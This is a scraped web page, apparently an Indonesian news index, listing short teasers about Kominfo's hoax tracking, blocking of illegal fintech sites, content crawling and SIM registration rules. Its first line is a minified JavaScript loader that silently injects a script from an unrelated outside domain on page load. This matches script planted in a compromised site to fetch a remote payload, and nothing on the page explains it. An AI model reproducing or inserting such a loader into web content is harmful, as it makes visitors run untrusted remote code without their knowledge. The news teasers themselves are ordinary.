(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kementerian Komunikasi dan Informatika (Kemkominfo) telah mengoperasikan mesin pengais (crawling) konten negatif sebagai langkah untuk menangkal konten-konten negatif di internet.… Read More
JAKARTA, Kementerian Komunikasi dan Informatika (Kominfo) mengidentifikasi 453 hoaks, kabar bohong, dan berita palsu sepanjang Maret 2019. Dengan temuan tersebut,… Read More
Kementerian Komunikasi dan Informatika memblokir total 738 sistem informasi perusahaan teknologi finansial atau fintech ilegal sepanjang 2018. Sistem informasi itu terdiri atas 211 website dan 527… Read More
JAKARTA, Kementerian Komunikasi dan Informatika (Kominfo) memberi laporan teranyar, kali ini terkait langkah blokir terhadap situs-situs yang dinilai berkaitan dengan… Read More
Dalam 48 jam ke depan, internet dunia dikabarkan akan mengalami gangguan lantaran adanya pemeliharaan infrastruktur jaringan. Menanggapi kabar ini, Kementerian… Read More
AMUNTAI, Dinas Komunikasi dan Informatika Hulu Sungai Utara (HSU) berupaya memberikan informasi luas dan bermanfaat bagi masyarakat melalui pembentukan Kelompok… Read More
Kementerian Komunikasi dan Informatika (Kominfo) memutuskan bahwa satu Nomor Induk Kependudukan (NIK) bisa digunakan untuk mendaftarkan lebih dari 3 nomor… Read More
This website uses cookies.